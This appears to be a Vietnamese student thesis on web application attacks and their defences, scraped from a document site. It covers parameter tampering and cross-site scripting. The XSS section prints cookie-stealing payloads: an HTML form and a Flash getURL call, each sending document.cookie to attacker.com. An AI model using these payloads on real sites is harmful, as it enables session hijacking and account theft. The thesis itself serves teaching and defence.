Hình 1 Quá trình hoạt động bắt đầu với yêu cầu được tạo ra từ người dùng trên trìnhduyệt, gửi qua Internet tới trình chủ Web ứng dụng Web application Server.Web ứng dụng truy cập máy chủ
Trang 1TRƯỜNG ĐẠI HỌC VINH KHOA CÔNG NGHỆ THÔNG TIN
Trang 2án Đồng thời cũng cho phép tôi được cảm ơn sự giúp đỡ, tạo điều kiện củakhoa CNTT-Trường Đại học Vinh
Mặc dù tôi đã cố gắng hoàn thành đồ án trong khả năng cho phép nhưng khôngtránh khỏi thiếu sót Tôi rất mong nhận được sự chỉ bảo đóng góp ý kiến tậntình của các thầy cô giáo và các bạn
Người viết đồ án
Nguyễn Mạnh Cường
Trang 3MỤC LỤC
MỞ ĐẦU 5
CHƯƠNG I : GIỚI THIỆU ỨNG DỤNG WEB 6
I Ứng dụng Web (Web Application) 6
II Hoạt động 7
III Các vấn đề về bảo mật Web 9
CHƯƠNG II : GIỚI THIỆU SƠ LƯỢC VỀ CÁC KỸ THUẬT TẤN CÔNG ỨNG DỤNG WEB 11
I CÁC KHÁI NIỆM THUẬT NGỮ LIÊN QUAN 11
I.1 Hacker 11
I.2 HTTP Header 11
I.3 Session 13
I.4 Cookie 13
I.5 Proxy 14
II GIỚI THIỆU SƠ LƯỢC CÁC KỸ THUẬT TẤN CÔNG 14
II.1 Kiểm soát truy cập web (Web access control) 14
II.2 Chiếm hữu phiên làm viêc 14
II.3 Lợi dụng các thiếu sót trong việc kiểm tra dữ liệu nhập hợp lệ (Input validation) 15
II.4 Để lộ thông tin 16
II.5 Từ chối dịch vụ (Denial of service DoS) 17
CHƯƠNG III : MỘT SỐ KĨ THUẬT TẤN CÔNG ỨNG DỤNG WEB 18
I THAO TÁC TRÊN THAM SỐ TRUYỀN 18
I.1 Thao tác trên URL 18
I.2 Thao tác trên biến ẩn form 19
I.3 Thao tác trên Cookie 21
I.4 Thao tác trong HTTP header 22
II CHÈN MÃ LỆNH THỰC THI TRÊN TRÌNH DUYỆT NẠN NHÂN (CROSS-SITE SCRIPTING) 24
II.1 Cross-Site Scripting (XSS)
Trang 4II.2 Phương pháp tấn công XSS truyền thống. 26
II.3 Tấn công XSS bằng flash 28
II.4 Phát hiện XSS bằng cách nào? 29
II.5 Cách phòng chống. 29
III CHÈN CÂU TRUY VẤN SQL (SQL INJECTION) 30
IV.1 Khái niệm SQL Injection 30
IV.2 Các cách tấn công 30
IV.3 Cách phòng chống 45
IV TẤN CÔNG TỪ CHỐI DỊCH VỤ (DoS) 49
V.1 Khái niệm 49
V.2 Những khả năng bị tấn công bằng DoS 49
V.3 Các kĩ thuật tấn công 50
V.4 Biện pháp phòng chống 57
CHƯƠNG IV : TỔNG KẾT CÁC QUÁ TRÌNH TẤN CÔNG VÀ CÁC BIỆN PHÁP PHÒNG CHỐNG 59
I CÁC QUÁ TRÌNH TẤN CÔNG 59
I.1 Thu nhập thông tin ở mức hạ tầng của mục tiêu 59
I.2 Khảo sát ứng dụng Web 61
I.3 Tấn công 62
II CÁC BIỆN PHÁP PHÒNG CHỐNG 62
II.1 Với những nhà quản trị mạng 62
II.2 Với những nhà thiết kế ứng dụng Web 64
II.3 Với người sử dụng ứng dụng Web 65
CHƯƠNG V : CHƯƠNG TRÌNH MINH HỌA 66
I Tổng quan 66
II Cài đặt 66
KẾT LUẬN 74
I Các kết quả thu được 74
II Hướng phát triển 74
TÀI LIỆU THAM KHẢO 75
Trang 5MỞ ĐẦU
Trong thời đại bùng nổ Internet hiện nay, việc khai thác, tìm kiếm và quảngcáo thông tin trên trang Web đã trở thành một nhu cầu không thể thiếu và đóngmột vai trò rất quan trọng đối với sự thành công trong công việc của các doanhnghiệp, các tổ chức xã hội cũng như của từng cá nhân Bởi lý do quan trọngnày nên số lượng các cá nhân và tổ chức truy cập vào trang Web tăng lên mộtcách đáng kể Trong số này, hàng ngày, hàng tuần có cả hàng trăm cuộc thămviếng các trang Web với mục đích xấu Số lượng các cuộc tấn công nhằm vào
lỗ hổng trên các ứng dụng Web đã gây nhiều tổn thất cả về mặt kinh tế và xãhội Vì vậy việc nghiên cứu các vấn đề về bảo mật ứng dụng Web là một vấn
đề rất quan trọng trong sự phát triển của Internet hiện nay
Mục đích của đồ án:
Nghiên cứu các phương pháp tấn công ứng dụng web, từ đó đưa ra các giảipháp bảo mật cho ứng dụng
Nội dung đồ án được chia thành 5 chương chính:
Chương I : Giới thiệu ứng dụng Web.
Chương II : Giới thiệu sơ lược các kĩ thuật tấn công ứng dụng web.
Chương III : Một số kĩ thuật tấn công.
Chương IV :Tổng kết các quá trình tấn công và các biện pháp phòng chống Chương V : Chương trình minh họa.
Trang 6CHƯƠNG I GIỚI THIỆU ỨNG DỤNG WEB
I Ứng dụng Web (Web Application)
Web là môi trường có khả năng thực thi chương trình cao, cho phép tạo vô sốtùy biến trên nó, triển khai trực tiếp một lượng lớn các ứng dụng tới hàng triệungười dùng trên thế giới Hai thành phần quan trọng nhất của Website hiện làtrình duyệt Web và các ứng dụng Web
Web browser ( trình duyệt Web ) là các ứng dụng phần mềm cho phép ngườidùng truy vấn dữ liệu và tương tác với nội dung nằm trên trang Web bên trongWebsite
Các trang Web hiện đại cho phép người dùng lấy xuống nội dung động cá nhânhóa theo thiết lập và tham chiếu riêng Hơn nữa chúng có thể chạy các Scripttrên máy khách, có thể “thay đổi” trình duyệt Internet thành giao diện cho cácứng dụng như thư điện tử, phần mềm ánh xạ tương tác (Yahoo Mail, GooleMaps) Quan trọng nhất là các Website hiện đại cho phép đóng gói, xử lý, lưutrữ và truyền tải dữ liệu khách hàng nhạy cảm (như thông tin cá nhân, mã số thẻtín dụng, thông tin bảo mật xã hội ) có thể dùng ngay hoặc dùng định kỳ vềsau Và điều này được thực hiện qua các ứng dụng Web Đó có thể là các thànhphần Webmail (thư điện tử), trang đăng nhập, chương trình hỗ trợ và mẫu yêucầu sản phẩm hay hoạt động mua bán, hệ thống quản lý nội dung, phát triểnWebsite hiện đại, cung cấp các phương tiện cần thiết để liên lạc với khách hàngtương lai và khách hàng hiện tại
Trang 7Dưới góc độ chức năng, ứng dụng Web là các chương trình máy tính cho phépngười dùng Website đăng nhập, truy vấn vào/ra dữ liệu qua mạng trên trìnhduyệt Web
Dưới góc độ kỹ thuật, các ứng dụng Web truy vấn máy chủ chứa nội dung (chủyếu trên cơ sở dữ liệu lưu trữ nội dung) và tạo tài liệu Web động để phục vụyêu cầu của máy khách (chính là người dùng Website) Tài liệu được tạo trongkiểu định dạng tiêu chuẩn hỗ trợ trên tất cả mọi trình duyệt (như HTML,XHTML) Trình duyệt Web chính là chìa khóa, nó dịch và chạy tất cả cácScript, lệnh…khi hiển thị trang Web và nội dung được yêu cầu
II Hoạt động
Hình bên dưới minh họa chi tiết mô hình ứng dụng Web ba tầng Tầng đầu tiênthông thương là trình duyệt Web hoặc giao diện người dùng Tầng thứ hai làcông nghệ kỹ thuật tạo nội dung động như Java servlets (JSP) hay ActiveServer Pages (ASP) Còn tầng thứ ba là cơ sở dữ liệu chứa nội dung (như tintức) và dữ liệu người dùng (như username, password, mã số bảo mật xã hội, chitiết thẻ tín dụng)
Trang 8Hình 1
Quá trình hoạt động bắt đầu với yêu cầu được tạo ra từ người dùng trên trìnhduyệt, gửi qua Internet tới trình chủ Web ứng dụng (Web application Server).Web ứng dụng truy cập máy chủ chứa cơ sở dữ liệu để thực hiện nhiệm vụđược yêu cầu: cập nhật, truy vấn thông tin đang nằm trong cơ sở dữ liệu Sau
đó ứng dụng Web gửi thông tin lại cho người dùng qua trình duyệt
Hình 2
Trang 9III Các vấn đề về bảo mật Web
Mặc dù không thể phủ nhận những cải tiến nâng cao đáng kể hiện nay, như vấn
đề bảo mật trong ứng dụng Web vẫn không ngừng tăng lên Nguyên nhân cóthể xuất phát từ các đoạn mã không phù hợp Nhiều điểm yếu nghiêm trọng haycác lỗ hổng cho phép hacker xâm nhập thẳng và truy cập vào cơ sở dữ liệu táchlấy dữ liệu nhạy cảm Nhiều cơ sở dữ liệu chứa thông tin giá trị (như chi tiết cánhân, thông tin tài chính) khiến chúng trở thành đích nhắm thường xuyên củahầu hết hacker
Website và các ứng dụng Web liên quan luôn phải sẵn sàng 24/7 để cung cấpdịch vụ theo yêu cầu khách hàng, yêu cầu từ phía nhân viên, nhà cung cấp vànhiều người liên quan khác
Tường lửa, SLL không thể bảo vệ ứng dụng Web trước mọi hoạt độnghacking, đơn giản vì truy cập vào Website phải để ở chế độ public để bất kỳ
ai cũng có thể ghé thăm Website được Tất cả hệ thống cơ sở dữ liệu hiệnđại (như Microsoft SQL Server, Oracle, MySQL) đều có thể truy cập quamột số cổng cụ thể (như cổng 80, 433) Nếu muốn, một người nào đó có thểkết nội trực tiếp tới cơ sở dữ liệu một cách hiệu quả khi vượt qua cơ chế bảomật của hệ điều hành Các cổng này để mở nhằm cho phép liên lạc với hoạtđộng giao thông mạng hợp pháp, và do đó cũng hình thành nên lỗ hổng lớnnguy hiểm
Các ứng dụng Web thường truy cập dữ liệu cuối như cơ sở dữ liệu kháchhàng, điểu khiển dữ liệu có giá trị và do đó rất khó để có thể tuyệt đối antoàn
Trang 10 Hầu hết ứng dụng Web đều là tự tạo, do đó ít có được các kiểm tra trình độhơn so với các phần mềm cùng loại Do đó các ứng dụng tùy biến thường dễ
Trang 11CHƯƠNG II
GIỚI THIỆU SƠ LƯỢC VỀ CÁC KỸ THUẬT TẤN CÔNG ỨNG DỤNG WEB
I CÁC KHÁI NIỆM THUẬT NGỮ LIÊN QUAN
I.1 Hacker
Hacker là một thuật ngữ dùng để chuyên chỉ những kẻ phá hoại các hệ thốngmạng…Hacker thường là những chuyên gia về máy tính Hacker không tạo racác kẽ hở cho hệ thống, nhưng hacker lại là những người am hiểu về hệ điềuhành, hệ quản trị cơ sở dữ liệu, các ngôn ngữ lập trình…Họ sử dụng kiến thứccủa mình trong việc tìm tòi và khai thác các lỗ hổng của hệ thống mạng Một sốhacker chỉ dừng lại ở việc phát hiện và thông báo lỗi tìm được cho những nhàbảo mật hay người phát triển chương trình, họ được xem như là WhiteHat(Hacker mũ trắng) Một số hacker dựa vào những lỗ hổng thực hiện việc khaithác trái phép nhằm mục đích phá hoại hay mưu lợi riêng, những người này bịxem như là BlackHat( Hacker mũ đen)
I.2 HTTP Header
HTTP Header là phần đầu (header) của thông tin mà trình khách và trình chủgửi cho nhau Những thông tin trình khách gửi cho trình chủ được gọi là HTTPrequests (yêu cầu) còn trình chủ gửi cho trình khách là HTTP responses (trảlời) Thông thường, một HTTP header gồm nhiều dòng, mỗi dòng chứa têntham số và giá trị Một số tham số có thể được dùng trong cả header yêu cầu vàheader trả lời, một số khác thì chỉ được dùng riêng trong từng loại Ví dụ:
Header yêu cầu: (Header Request )
Get /tintuc/homnay.asp HTTP/1.1
Trang 12User-Agent: Mozilla/4.0 {compatible: MSIE 5.5; Windows NT 5.0}
Accept-Encoding: gzip, deflate
o Dòng đầu là dòng yêu cầu cho biết phương thức yêu cầu (GET hoặcPOST), địa chỉ yêu cầu (/tintuc/homnay.asp) và phiên bản HTTP(HTTP/1.1)…
o Tiếp theo là các tham số Chẳng hạn như:
Accept-Language: Cho biết ngôn ngữ dùng trong trang web
Host: Cho biết địa chỉ máy chủ
Referer: Cho biết địa chỉ của trang web tham chiếu tới
o Header của HTTP request sẽ kết thúc bằng một dòng trống
Path=/
Cache-control: private
<HTML>
<BODY>
Trang 13………
o Dòng đầu là dòng trạng thái để cho biết phiên bản HTTP được dùng(HTTP/1.1), mã trạng thái (200) và trạng thái (OK)
o Tiếp theo là các tham số
o Tiếp theo là một dòng trống để báo hiệu kết thúc header, tiếp theo
là phần thân của HTTP response
I.3 Session
HTTP là giao thức hướng đối tượng tổng quát, phi trạng thái, nghĩa là HTTPkhông lưu trữ trạng thái làm việc giữa trình duyệt với trình chủ Sự thiếu sótnày gây khó khăn cho một số ứng dụng Web, bởi vì trình chủ không biết đượctrước đó trình duyệt đã có những trạng thái nào Vì thế, để giải quyết vấn đềnày, ứng dụng Web đưa ra một khái niệm phiên làm việc (Session) CònSessionID là một chuỗi để chứng thực phiên làm việc
I.4 Cookie
Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa website vàbrowser của người dùng Cookies được lưu trữ dưới những file dữ liệu nhỏdạng text (size dưới 4k) Chúng được các site tạo ra để lưu trữ/truy tìm/nhậnbiết các thông tin về người dùng đã ghé thăm site và những vùng họ đi quatrong site
Cookies thường có các thành phần sau :
+ Tên: do người lập trình web site chọn
+ Domain: là tên miền từ server mà cookie được tạo và gửi đi
+ Đường dẫn: thông tin về đường dẫn ở web site mà bạn đang xem
+ Ngày hết hạn: là thời điểm mà cookie hết hiệu lực
Trang 14+ Bảo mật: Nếu giá trị này đựơc thiết lập bên trong cookie, thông tin sẽ đựơc
mã hoá trong quá trình truyền giữa server và browser
I.5 Proxy
Proxy cung cấp cho người sử dụng truy xuất Internet những nghi thức đặc biệthoặc một tập những nghi thức thực thi trên dual_homed host hoặc bassion host.Những chương trình client của người sử dụng sẽ qua trung gian proxy serverthay thế cho server thật sự mà người sử dụng cần giao tiếp
Proxy server xác định những yêu cầu từ client và quyết định đáp ứng haykhông đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với serverthật thay cho client và tiếp tục chuyển tiếp những yêu cầu từ client đến server,cũng như trả lời của server đến client Vì vậy proxy server giống cầu nối trunggian giữa server và client
II GIỚI THIỆU SƠ LƯỢC CÁC KỸ THUẬT TẤN CÔNG
Sau đây là các khái niệm sơ lược các kĩ thuật tấn công ứng dụng Web đã đượcphân loại dựa trên mức độ gây tác hại đối với ứng dụng
II.1 Kiểm soát truy cập web (Web access control)
Thâm nhập hệ thống qua cửa sau (Back door)
Trong quá trình thiết kế ứng dụng, những người phát triển ứng dụng có thể càimột “cửa sau” (back door) để sau này co thể thâm nhập vào hệ thống một cách
dễ dàng
II.2 Chiếm hữu phiên làm viêc
Ấn định phiên làm việc (Session Fixation)
Trang 15Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ bằngcách gửi một session ID hợp lệ đến người dùng, sau khi người dùng đăngnhập vào hệ thống thành công, hacker sẽ dùng lại session ID đó vànghiễm nhiên trở thành người dùng hợp lệ
Đánh cắp phiên làm việc (Session Hijacking)
Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ saukhi nạn nhân đã đăng nhập vào hệ thống bằng cách giải mã session IDcủa họ được lưu trữ trong cookie hay tham số URL, biến ẩn của form
II.3 Lợi dụng các thiếu sót trong việc kiểm tra dữ liệu nhập hợp lệ (Input validation)
Hacker lợi dụng những ô nhập dữ liệu để gửi đi một đoạn mã bất kì khiến cho
hệ thống phải thực thi đoạn lệnh đó hay bị phá vỡ hoàn toàn
Kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ phía trình duyệt(Client-side validation)
Do ngôn ngữ phía trình duyệt (JavaScript, VBScrip…) được thực thi trêntrình duyệt nên hacker có thể sửa đổi mã nguồn để có thể vô hiệu hóa sựkiểm tra
Vượt qua đường dẫn (Path Traversal):
Trang 16Là phương pháp lợi dụng đường dẫn truy xuất một tập tin trên URL đểtrả kết quả về cho trình duyệt mà hacker có thể lấy được nội dung tệp tinbất kì trên hệ thống.
Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross-Site Scripting):Đây là kĩ thuật chủ yếu nhằm vào thông tin trên máy tính của người dùnghơn là vào hệ thống máy chủ Bằng cách thêm vào một đoạn mã bất kì( thường được lập trình bằng ngôn ngữ kịch bản như JavaScrip,VBScrip…), hacker có thể thực hiện việc đánh cắp thông tin quan trọngnhư cookie để từ đó trở thành người dùng hợp lệ của ứng dụng…dựa trênnhững thông tin đánh cắp này
Thêm câu lệnh hệ thống (OS Command Injection)
Khả năng thực thi được những câu lệnh hệ thống hay những đoạn mãđược thêm vào trong những tham số mà không có sự kiểm tra chặt chẽnhư tham số của form, cookie, yêu cầu HTTP Header, và những dữ liệunguy hiểm trong những tập tin được đưa lên trình chủ Thành công trong
kĩ thuật này giúp hacker có thể thực thi được những câu lệnh hệ thốngcùng với quyền của trình chủ
Chèn câu truy vấn SQL (SQL Injection)
Trong lập trình với cơ sở dữ liệu, người lập trình đã sai sót trong vấn đềkiểm tra giá trị nhập vào để từ đó hacker lợi dụng thêm vào những câutruy vấn hay những giá trị không hợp lệ để đăng nhập vào hệ thống
Ngôn ngữ phía máy chủ (Server side includes)
Là khả năng thêm vào những câu lệnh thuộc hệ thống như nhúng file(include file), truy xuất cơ sở dữ liệu…khiến cho hacker có cơ hội truyxuất đến file, cơ sở dữ liệu…mà bình thường không thể xem được trênwebsite
II.4 Để lộ thông tin
Trang 17Những tập tin và ứng dụng trên hệ thống chứa những thông tin quan trọng như
mã nguồn một trang Web hay tập tin chứa mật khẩu của người dùng trên hệthống luôn là mục tiêu của hacker Ngoài ra những lời chú thích trong mãnguồn cũng là nguồn thông tin hữu ích cho hacker
Hacker sử dụng trả lời HTTP từ hệ thống để xác định một tập tin hay ứng dụng
có tồn tại hay không
Ví dụ:
.HTTP 200: Tập tin tồn tại
.HTTP 404: Tập tin không tồn tại
II.5 Từ chối dịch vụ (Denial of service DoS)
Tấn công kiểu DoS là kiểu tấn công làm cho các dịch vụ mạng bị tê liệt, khôngcòn khả năng đáp ứng yêu cầu nữa Loại tấn công này ảnh hưởng đến nhiều hệthống, rất dễ thực hiện và lại rất khỏ bảo vệ hệ thống khỏi yêu cấu tấn côngDoS
Trang 18CHƯƠNG III MỘT SỐ KĨ THUẬT TẤN CÔNG ỨNG DỤNG WEB
I THAO TÁC TRÊN THAM SỐ TRUYỀN
Thao tác trên tham số truyền là kĩ thuật thay đổi thông tin quan trọng trêncookie, URL hay biến ẩn của form Kĩ thuật Cross-Site Scripting, SessionID,SQL Injection, Buffer Overflow…cũng cần dùng đến các tham số này để hoànthiện các bước tấn công của hacker Có thể nói tham số truyền là đầu mối chomọi hoạt động của hacker trong quá trình tấn công ứng dụng
I.1 Thao tác trên URL
I.1.1 Khái niệm:
Khi nhập một form HTML thì kết quả sẽ được gửi đi theo hai cách: GET hayPOST Nếu dùng GET, thì tất cả các tên biến và giá trị của nó sẽ xuất hiệntrong chuỗi URL
Ví dụ: Có một trang web ứng dụng cho phép thành viên đã được thay đổi mậtkhẩu
http://www.nganhang.com/example?user=abc&newpass=123
Với: Username là tên người cần thay đổi mật khẩu
Newpass là mật khẩu mới cho username
Tuy nhiên, bằng cách thay đổi tham số như sau:
http://www.nganhang.com/example?user=admin&newpass=111111
Trang 19Hacker đã có thể thay đổi mật khẩu của admin bằng một mật khẩu mới bất kì,trong ví dụ này là ‘111111’
Ngoài ra, với những thông tin có giá trị, cần mã hóa thông tin này trướckhi cho hiển thị trên trình duyệt để tránh hacker có thể sửa đổi tùy ý
I.2 Thao tác trên biến ẩn form
I.2.1 Khái niệm
Thông tin có thể được chuyển đổi thông qua một biến ẩn form, gọi là HiddenForm Field Biến ẩn form không hiển thị trên màn hình trình duyệt nhưngngười dùng có thể tìm thấy nội dung của nó trong “view source”, vì thế đây làmột điểm yếu để hacker lợi dụng bằng cách lưu nội dung trang web xuống trìnhduyệt, thay đổi nội dung trang và gửi đến trình chủ
Ví dụ: Form gốc có nội dung như sau:
<form action=http://www.tancong.com/cuahang.p1 method=”POST”>
…
Trang 20<input type=”hiden” name=”giaca” value=”99.99”>
Nhưng nếu hacker gán một giá trị khác cho trường “giaca”:
<form action=http://www.tancong.com/cuahang.p1 method=”POST”>
I.2.2 Một số biện pháp khắc phục
Chỉ nên sử dụng biến ẩn của form để hiện thị dữ liệu trên trình duyệt,không được sử dụng giá trị của biến để thao tác trong xử lí ứng dụng
Trang 21 Ghép tên và giá trị của biến ẩn thành một chuỗi đơn Sử dụng thuật toán
mã hóa MD5 hoặc một kiểu hash một chiều khác để tổng hợp chuỗi đó
và lưu nó vào một hidden field gọi là “Chuỗi mẫu”
Khi giá trị trong form được gửi đi, các thao tác như trên được thực hiệnlại với cùng một khóa mà ta định trước Sau đó đem so sánh với “Chuỗimẫu”, nếu chũng không khớp nhau thì chứng tỏ giá trị trong biểu mẫu đã
bị thay đổi
I.3 Thao tác trên Cookie
I.3.1 Khái niệm.
Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa website và browser của người dùng cookies được lưu trữ dưới những file dữ liệu nhỏ dạngtext (size dưới 4k) Chúng được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm site và những vùng mà họ đi qua trong site
Vì cookie là thành phần lưu trữ thông tin bảo mật nhất nên Cookie thường đượcdùng để lưu giữ trạng thái giao thức HTTP hơn là biến ẩn form và biến URL
Nó còn được dùng để lưu trữ những thông tin của người dùng khi sử dụng ứngdụng và những dữ liệu khác của session Do đó hacker có thể thay đổi nội dungcookie để phá hoại ứng dụng
Ví dụ: Về cookie dùng để lưu trữ thông tin cho ứng dụng web thông tin du lịch:
Cookie: lang=en-us; ADMIN=no; y=1; time = 10:30GMT ;
Cookie xác định người dùng này không phải là Admin (ADMIN=0), nhưng nếuhacker thay đổi trường này thì điều gì sẽ xảy ra? Hacker có thể thay đổi lạithành như sau:
Trang 22Cookie: lang=en-us; ADMIN=yes; y=1; time=12:30GMT;
Hacker lúc này mang vai trò là một người quản trị của ứng dụng
I.3.2 Một số biện pháp khắc phục
Sử dụng đối tượng session lưu trữ thông tin quan trọng trên trình chủ.Khi ứng dụng cần kiểm tra thông tin của một người dùng, ứng dụng sẽdùng sessionID của người dùng để chỉ đến thông tin của người dùng đótrong cache hay cơ sở dữ liệu
Xây dựng một cơ chế kiểm tra nội dung của cookie để tìm ra những giátrị không hợp lệ từ đó biết được cookie đó là giả
Mã hóa cookie Có một số phương pháp mã hóa như symmetric (dùng 1khóa duy nhất cho cả mã hóa và giải mã) hay asymmetric (mã hóa dùng
2 khóa riêng biệt, một khóa dùng chung cho mã hóa và một khóa riêng
để giải mã)
I.4 Thao tác trong HTTP header
URL, biến ẩn form, cookie đều là những thành phần lưu trữ thông tin mà ngườidùng thông thường có thể xem và thay đổi Tuy nhiên, những thành phần đóđều được chuyển đi thông qua HTTP Header Ví thế, mặc dù HTTP Headerkhông phải là tham số truyền của một ứng dụng nhưng mọi thông tin đều đượclưu trữ vào nó trước khi chuyển đi nên trong phần này sẽ đề cập đến việc thayđổi một HTTP Header
I.4.1 Khái niệm.
Thông thường chỉ có trình duyệt và trình chủ là trao đổi HTTP Header, còn hầuhết các ứng dụng web thì không Tuy nhiên, hacker có thể tự viết một chươngtrình để điều khiển HTTP header (như xem nội dung, tạo mới) hay sử dụng cácproxy miễn phí cho phép thay đổi dữ liệu được gửi từ trình duyệt Ngoài ra
Trang 23hacker có thể tấn công trực tiếp bằng cách telnet gửi HTTP Request đến trìnhchủ.
Phần in đậm là nội dung hacker thay đổi
Referer header chứa URL của trang web mà từ đó yêu cầu được gửi đi Vì thếmột vài ứng dụng sẽ kiểm tra thành phần này trong header để đảm bảo rằng nóđược gửi từ trang web của ứng dụng đó Việc làm này dùng để ngăn chặn việchacker lưu lại trang web xuống máy, chỉnh sửa thuộc tính form, phá hoại bằngcách nhằm vào client side validate hay serve side include, sau đó gửi đi Nhưngphương pháp kiểm tra này sẽ thất bại khi hacker có thể sửa lại Referer header
để nó giống như được gửi từ trang web hợp lệ
Referer: www.redhat.com/login.asp
Trang 24I.4.2 Một số biện pháp khắc phục.
Đơn giản là không tin tưởng vào HTTP header nếu chưa có các biện pháp antoàn Với các header gửi từ trình chủ, chẳng hạn như cookie thì có thể được mãhóa Còn với các header gửi từ trình khách thì không nên dùng các tham số nhưreferer,…để thực hiện các biện pháp an toàn
Nhận xét:
Mọi thông tin quan trọng trao đổi giữa trình duyệt và trình chủ không nên lưutrữ dưới dạng chuỗi thông thường mà cần được mã hóa, ngoài ra những thôngtin này nên được kiểm tra, đối chiếu với dữ liệu trong cơ sở dữ liệu hay trongcache của trình chủ, phòng tránh trường hợp nội dung thông tin bị sai lệch
II CHÈN MÃ LỆNH THỰC THI TRÊN TRÌNH DUYỆT NẠN NHÂN (CROSS-SITE SCRIPTING)
II.1 Cross-Site Scripting (XSS)
Là một trong những kĩ thuật tấn công phổ biến nhất hiên nay, đồng thời nócũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triểnweb và cả những người sử dụng web Bất kì một website nào cho phép người
sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguyhiểm thì đều có thể tiềm ẩn các lỗi XSS
1 XSS là gì ?
Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS đểtránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấncông bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ) những thẻHTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho nhữngngười sử dụng khác Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu
Trang 25hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML vàcũng có thể là cả các thẻ HTML Kĩ thuật tấn công XSS đã nhanh chóng trởthành một trong những lỗi phổ biến nhất của Web Applications và mối đe doạcủa chúng đối với người sử dụng ngày càng lớn
2 XSS hoạt động như thế nào ?
Về cơ bản XSS cũng như SQL Injection hay Source Injection, nó cũng là cácyêu cầu (request) được gửi từ các máy client tới server nhằm chèn vào đó cácthông tin vượt quá tầm kiểm soát của server Nó có thể là một request được gửi
từ các form dữ liệu hoặc cũng có thể đó chỉ là các URL như
Code:
http://www.example.com/search.cgi?
query=<script>alert('XSS was found !')</script>
Với đoạn mã URL chèn vào như trên rất có thể trình duyệt của bạn sẽ hiện lênmột thông báo "XSS was found !"
Các đoạn mã trong thẻ <script> không hề bị giới hạn bởi chúng hoàn toàn có thể thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src của thẻ <script> Cũng chính vì lẽ đó mà chúng ta chưa thể lường hết được độ nguy hiểm của các lỗi XSS
Nhưng nếu như các kĩ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với website ở phía client mà nạn nhân trực tiếp là những người khách duyệt site đó Tất nhiên đôi khi các hacker cũng sử dụng kĩ thuật này để
“deface” các website nhưng đó vẫn chỉ tấn công vào bề mặt của website Thật vậy, XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi trình duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống website nằm trên server
Trang 26II.2 Phương pháp tấn công XSS truyền thống.
Ứng dụng web thường lưu trữ thông tin quan trọng ở cookie Cookie là mẫuthông tin mà ứng dụng lưu trên đĩa cứng của người sử dụng Nhưng chỉ ứngdụng thiết lập ra cookie thì mới có thể đọc nó Do đó chỉ khi người dùng đangtrong phiên làm việc của ứng dụng thì hacker mới có cơ hội đánh cắp cookie.Công việc đầu tiên của hacker là tìm trang đích để dụ người dùng đăng nhậpsau khi đã tìm ra lỗ hổng trên ứng dụng đó
Các bước thực hiện XSS truyền thống:
Hình: Quá trình thực hiện XSSTóm tắt các bước thực hiện:
Bước1 : Hacker biết được người dùng đang sử dụng một ứng dụng Web
có lỗ hổng XSS
Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên
chính trang Web (như trên guestbook, banner dễ dàng thêm một liên kết
Trang 27do chính hacker tạo ra ) Thông thường hacker khiến người dùng chú ýbằng những câu kích thích sự tò mò của người dùng như “Kiểm tra tàikhoản”, “Một phần thưởng hấp dẫn đang chờ bạn”
Bước 3: Chuyển nội dung thông tin ( cookie, tên, mật khẩu…) về máy
chủ của hacker
Bước 4: hacker tạo một chương trình cgi hoặc một trang Web để ghi
nhận những thông tin đã đánh cắp vào một tập tin
Bước 5: Sau khi nhận thông tin cần thiết, hacker có thể sử dụng để thâm
nhập vào tài khoản của người dùng
Ví dụ :
Các thẻ HTML đều có thể là công cụ cho các cuộc tấn công bởi kĩ thuật XSSChỉ cần với một đoạn mã HTML gửi trong thư chúng ta hoàn toàn bị mấtcookie của mình:
CODE
<form action="http://attacker.com/save.asp" method="post" name="XSS">
<input type="hidden" name="cookie">
</form>
<img border="0" onmouseover="window.document.XSS.cookie.value = document.cookie; window.document.XSS.submit();" src="none.jpg">
Vậy là khi ta nhận thư, và nếu ta vô tình đưa con chuột qua bức ảnh gửi kèm thìcũng có nghĩa là ta đã bị lấy mất cookie Và với cookie lấy được, các hacker cóthể dễ dàng login hòm thư của ta mà không cần biết mật khẩu của ta
Trang 28II.3 Tấn công XSS bằng flash
Ngoài những cách đưa một đoạn mã nguy hiểm thì hacker còn có thể lợi dụngnhững tập tin flash để đánh cắp thông tin
Macromedia Flash cho phép lập trình bằng một ngôn ngữ kịch bản đã đượcxây dựng sẵn trong Flash là ActionScript ActionScript có cú pháp đơn giản vàtương tự như JavaScript, C hay PERL Ví dụ hàm getURL() dùng để gọi mộttrang web khác, tham số thường là một URL chẳng hạn nhưhttp://www.yahoo.com
Đây là đoạn lệnh trong tập tin flash và sẽ được thi hành khi tập tin flash đượcđọc:
getURL(“javascript:location(‘http://www.attacker.com?
newcookie=’+document.cookie)”)
Như vậy là khi người dùng xem trang web chứa tập tin flash này thì ngay lậptức cookie của họ do trang web chứa tập tin flash đó tạo ra sẽ gửi về chohacker
Trang 29I.4 Phát hiện XSS bằng cách nào?
Nếu như chúng ta sử dụng các mã nguồn của các chương trình có sẵn chúng ta
